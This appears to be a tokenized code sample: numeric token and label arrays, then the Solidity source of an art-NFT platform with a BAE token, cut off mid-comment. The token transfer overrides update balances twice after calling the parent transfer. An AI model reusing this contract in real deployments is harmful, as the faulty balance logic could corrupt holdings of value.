[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 325, 577, 1585, 270, 1435, 3903, 1338, 5541, 288, 203, 3639, 3933, 5621, 203, 203, 3639, 2254, 5034, 3082, 38, 287, 273, 467, 654, 39, 3462, 12, 9953, 4154, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 467, 654, 39, 3462, 12, 9953, 4154, 2934, 13866, 12, 26983, 16, 3082, 38, 287, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.3; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract AccessControl is Ownable, Pausable { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles. address payable public ceoAddress; address payable public cfoAddress; address payable public cooAddress; address payable public cmoAddress; address payable public BAEFeeAddress; address payable public owner = msg.sender; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require( msg.sender == ceoAddress, "Only our CEO address can execute this function"); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require( msg.sender == cfoAddress, "Only our CFO can can ll this function"); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require( msg.sender == cooAddress, "Only our COO can can ll this function"); _; } /// @dev Access modifier for Clevel functions modifier onlyCLevelOrOwner() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress || msg.sender == owner, "You need to be the owner or a Clevel @BAE to call this function" ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address payable _newCEO) external onlyCEO whenNotPaused { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address payable _newCFO) external onlyCLevelOrOwner whenNotPaused { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address payable _newCOO) external onlyCLevelOrOwner whenNotPaused { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Assigns a new address to act as the CMO. /// @param _newCMO The address of the new CMO function setCMO(address payable _newCMO) external onlyCLevelOrOwner whenNotPaused { require(_newCMO != address(0)); cmoAddress = _newCMO; } function getBAEFeeAddress() external view onlyCLevelOrOwner returns (address) { return BAEFeeAddress; } function setBAEFeeAddress(address payable _newAddress) public onlyCLevelOrOwner { BAEFeeAddress = _newAddress; } // Only the CEO, COO, and CFO can execute this function: function pause() public onlyCLevelOrOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyCLevelOrOwner whenPaused { paused = false; emit Unpause(); } } contract Destructible is AccessControl { /** * @dev Transfers the current balance to the owner and terminates the contract * onlyOwner needs to be changed to onlyBAE */ function destroy() public onlyCLevelOrOwner whenPaused{ selfdestruct(owner); } /** * @dev Transfers the current balance to the address and terminates the contract. */ function destroyAndSend(address payable _recipient) public onlyCLevelOrOwner whenPaused { selfdestruct(_recipient); } } contract ArtShop is Destructible { using SafeMath for uint256; /// @dev this fires everytime an artpiece is created event NewArtpiece(uint pieceId, string name, string artist); /// @dev this is set up to track how many changes the url has been changed event UrlChange(uint pieceId); /// @dev - both baeFeeLevel and royaltyFeeLevel are percentages and the combined should be /// kept below 95% on first sale or 99% on secondary sale :) uint8 internal baeFeeLevel; uint8 internal royaltyFeeLevel; uint8 internal potFeeLevel = 5; /// @dev this is used to prevent constant movement of art uint32 public timeUntilAbleToTransfer = 1 hours; /// @dev all metadata relating to an artpiece /// @dev this is done to prevent the error: Stacktrace too long as per /// @dev https://ethereum.stackexchange.com/questions/7325/stack-too-deep-try-removing-local-variables struct ArtpieceMetaData { uint8 remainingPrintings; uint64 basePrice; ///@dev listing price uint256 dateCreatedByTheArtist; string notes; bool isFirstSale; bool physical; } /// @dev all properties of an artpiece struct Artpiece { string name; /// @dev - should this change? I don't think so string artist; ///@dev artist's name for now - might be good to be an id/hash string thumbnailUrl; string mainUrl; string grade; uint64 price; /// @dev current price uint8 feeLevel; /// @dev this is the royalty fee uint8 baeFeeLevel; ArtpieceMetaData metadata; } Artpiece[] artpieces; mapping (uint256 => address) public numArtInAddress; mapping (address => uint256) public artCollection; mapping (uint256 => address) public artpieceApproved; /// @dev contract-specific modifiers on fees modifier onlyWithGloballySetFee() { require( baeFeeLevel > 0, "Requires a fee level to be set up" ); require( royaltyFeeLevel > 0, "Requires a an artist fee level to be set up" ); _; } /// @dev this is the gloabal fee setter /// @dev setBAEFeeLevel should be 35 initially on first sale function setBAEFeeLevel(uint8 _newFee) public onlyCLevelOrOwner { baeFeeLevel = _newFee; } function setRoyaltyFeeLevel(uint8 _newFee) public onlyCLevelOrOwner { royaltyFeeLevel = _newFee; } function _createArtpiece( string memory _name, string memory _artist, string memory _thumbnailUrl, string memory _mainUrl, string memory _notes, string memory _grade, uint256 _dateCreatedByTheArtist, uint64 _price, uint64 _basePrice, uint8 _remainingPrintings, bool _physical ) internal onlyWithGloballySetFee whenNotPaused { ArtpieceMetaData memory metd = ArtpieceMetaData( _remainingPrintings, _basePrice, _dateCreatedByTheArtist, _notes, true, _physical ); Artpiece memory newArtpiece = Artpiece( _name, _artist, _thumbnailUrl, _mainUrl, _grade, _price, royaltyFeeLevel, baeFeeLevel, metd ); uint id = artpieces.push(newArtpiece) - 1; numArtInAddress[id] = msg.sender; artCollection[msg.sender] = artCollection[msg.sender].add(1); emit NewArtpiece(id, _name, _artist); } } contract Helpers is ArtShop { /// @dev modifiers for the ERC721-compliant functions modifier onlyOwnerOf(uint _artpieceId) { require(msg.sender == numArtInAddress[_artpieceId]); _; } /// @dev we use this so we can't delete artpieces once they are on auction /// so people have the feeling they really own the modifier onlyBeforeFirstSale(uint _tokenId) { (,,,,bool isFirstSale,) = getArtpieceMeta(_tokenId); require(isFirstSale == true); _; } event Printed(uint indexed _id, uint256 indexed _time); function getArtpieceData(uint _id) public view returns(string memory name, string memory artist, string memory thumbnailUrl, string memory grade, uint64 price) { return ( artpieces[_id].name, artpieces[_id].artist, artpieces[_id].thumbnailUrl, artpieces[_id].grade, artpieces[_id].price ); } function getArtpieceFeeLevels(uint _id) public view returns(uint8, uint8) { return ( artpieces[_id].feeLevel, artpieces[_id].baeFeeLevel ); } function getArtpieceMeta(uint _id) public view returns(uint8, uint64, uint256, string memory, bool, bool) { return ( artpieces[_id].metadata.remainingPrintings, artpieces[_id].metadata.basePrice, artpieces[_id].metadata.dateCreatedByTheArtist, artpieces[_id].metadata.notes, artpieces[_id].metadata.isFirstSale, artpieces[_id].metadata.physical ); } function getMainUrl(uint _id) public view onlyOwnerOf(_id) returns(string memory) { return artpieces[_id].mainUrl; } function setArtpieceName(uint _id, string memory _name) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].name = _name; } function setArtist(uint _id, string memory _artist) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].artist = _artist; } function setThumbnailUrl(uint _id, string memory _newThumbnailUrl) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].thumbnailUrl = _newThumbnailUrl; } // this used to be internal function setMainUrl(uint _id, string memory _newUrl) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].mainUrl = _newUrl; emit UrlChange(_id); } function setGrade(uint _id, string memory _grade) public onlyCLevelOrOwner whenNotPaused returns (bool success) { artpieces[_id].grade = _grade; return true; } function setPrice(uint _id, uint64 _price) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].price = _price; } function setArtpieceBAEFee(uint _id, uint8 _newFee) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].baeFeeLevel = _newFee; } function setArtpieceRoyaltyFeeLevel(uint _id, uint8 _newFee) public onlyCLevelOrOwner whenNotPaused { artpieces[_id].feeLevel = _newFee; } function setRemainingPrintings(uint _id, uint8 _remainingPrintings) internal onlyCLevelOrOwner whenNotPaused { artpieces[_id].metadata.remainingPrintings = _remainingPrintings; } function setBasePrice(uint _id, uint64 _basePrice) public onlyCLevelOrOwner { artpieces[_id].metadata.basePrice = _basePrice; } function setDateCreateByArtist(uint _id, uint256 _dateCreatedByTheArtist) public onlyCLevelOrOwner { artpieces[_id].metadata.dateCreatedByTheArtist = _dateCreatedByTheArtist; } function setNotes(uint _id, string memory _notes) public onlyCLevelOrOwner { artpieces[_id].metadata.notes = _notes; } function setIsPhysical(uint _id, bool _physical) public onlyCLevelOrOwner { artpieces[_id].metadata.physical = _physical; } function getArtpiecesByOwner(address _owner) external view returns(uint[] memory) { uint[] memory result = new uint[](artCollection[_owner]); uint counter = 0; for ( uint i = 0; i < artpieces.length; i++ ) { if (numArtInAddress[i] == _owner) { result[counter] = i; counter = counter.add(1); } } return result; } } contract BAEToken is PausableToken, AccessControl { using SafeMath for uint256; using SafeERC20 for ERC20; event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed burner, uint256 value); string public constant name = "BAEToken"; string public constant symbol = "BAE"; uint public constant decimals = 6; uint public currentAmount = 0; // rate is £1 == 10 BAE based on 100 000 000 = 10,000,000 uint public totalAllocated = 0; bool public mintingFinished = false; uint256 public currentIndex = 0; /// @dev - holder adresses by index mapping(uint => address) public holderAddresses; /// @dev total supply assigned to msg.sender directly constructor() public { totalSupply_ = 0; } modifier validDestination(address _to) { require(_to != address(0x0)); require(_to != address(this)); _; } modifier canMint() { require( !mintingFinished, "Still minting." ); _; } modifier hasMintPermission() { require( msg.sender == owner, "Message sender is not owner." ); _; } modifier onlyWhenNotMinting() { require( mintingFinished == false, "Minting needs to be stopped to execute this function" ); _; } /** * @dev getter for name */ function getName() public pure returns (string memory) { return name; } /** * @dev getter for token symbol */ function getSymbol() public pure returns (string memory) { return symbol; } /** * @dev getter for totalSupply_ */ function getTotalSupply() public view returns (uint) { return totalSupply_; } /** * @dev getter for user amount */ function getBalance() public view returns (uint) { return balances[msg.sender]; } /// @dev this is a superuser function to check each wallet amount function getUserBalance(address _userAddress) public view onlyCLevelOrOwner returns(uint) { return balances[_userAddress]; } /** * @dev private */ function burn(address _who, uint256 _value) public onlyCEO whenNotPaused { require( _value <= balances[_who], "Value is smaller than the value the account in balances has" ); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure // BAEholders[_who] = BAEholders[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); totalAllocated = totalAllocated.sub(_value); balances[_who] = balances[_who].sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public canMint onlyCLevelOrOwner whenNotPaused returns (bool) { totalSupply_ = totalSupply_.add(_amount); totalAllocated = totalAllocated.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyCEO canMint whenNotPaused returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** ------------------------------------------------------------------------ * @dev - Owner can transfer out ERC20 tokens * ------------------------------------------------------------------------ // */ /// @dev - we `override` the ability of calling those methods to be allowed only of the owner /// or the C level as the tokens shouldn't have any money properties. function transfer(address _to, uint256 _value) public onlyCLevelOrOwner returns (bool) { /// @dev call the super function transfer as is super.transfer(_to, _value); /// @dev and add the required totalAllocated = totalAllocated.add(_value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); holderAddresses[currentIndex] = _to; currentIndex = currentIndex.add(1); return true; } function transferFrom( address _from, address _to, uint256 _value ) public onlyCLevelOrOwner returns (bool) { super.transferFrom(_from, _to, _value); totalAllocated = totalAllocated.add(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); holderAddresses[currentIndex] = _to; currentIndex = currentIndex.add(1); return true; } function approve(address _spender, uint256 _value) public onlyCLevelOrOwner returns (bool) { super.approve(_spender, _value); } } contract Payments is BAEToken { event PotPayout(address indexed _to, uint256 indexed value); BAECore public baeInstance; constructor() public { ceoAddress = msg.sender; } function setBAECoreAddress(address payable _address) public onlyCEO whenPaused { BAECore baeCandidate = BAECore(_address); baeInstance = baeCandidate; } /// @dev - Update balances - % of ownership function addToBAEHolders(address _to) public onlyCLevelOrOwner whenNotPaused { mint(_to, currentAmount); } function subToBAEHolders(address _from, address _to, uint _amount) public onlyCLevelOrOwner whenNotPaused { transferFrom(_from, _to, _amount); } function setFinalPriceInPounds(uint _finalPrice) public onlyCLevelOrOwner whenNotPaused { currentAmount = _finalPrice.mul(10000000); } function withdraw() public onlyCFO { cfoAddress.transfer(address(this).balance); } function() external payable { } } interface IERC165 { /** * @notice Query if a contract implements an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } contract IERC721 is IERC165 { event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public; } contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) public view returns (string memory); } contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address owner, uint256 index ) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns(bytes4); } contract IERC721Full is IERC721, IERC721Enumerable, IERC721Metadata { } contract ERC165 is IERC165 { bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal _supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(_InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); } /** * @dev Gets the balance of the specified address * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } /** * @dev Gets the owner of the specified token ID * @param tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address owner, address operator ) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom( address from, address to, uint256 tokenId ) public { require(_isApprovedOrOwner(msg.sender, tokenId)); require(to != address(0)); _clearApproval(from, tokenId); _removeTokenFrom(from, tokenId); _addTokenTo(to, tokenId); emit Transfer(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address from, address to, uint256 tokenId ) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkAndCallSafeTransfer(from, to, tokenId, _data)); } /** * @dev Returns whether the specified token exists * @param tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner( address spender, uint256 tokenId ) internal view returns (bool) { address owner = ownerOf(tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender) ); } /** * @dev Internal function to mint 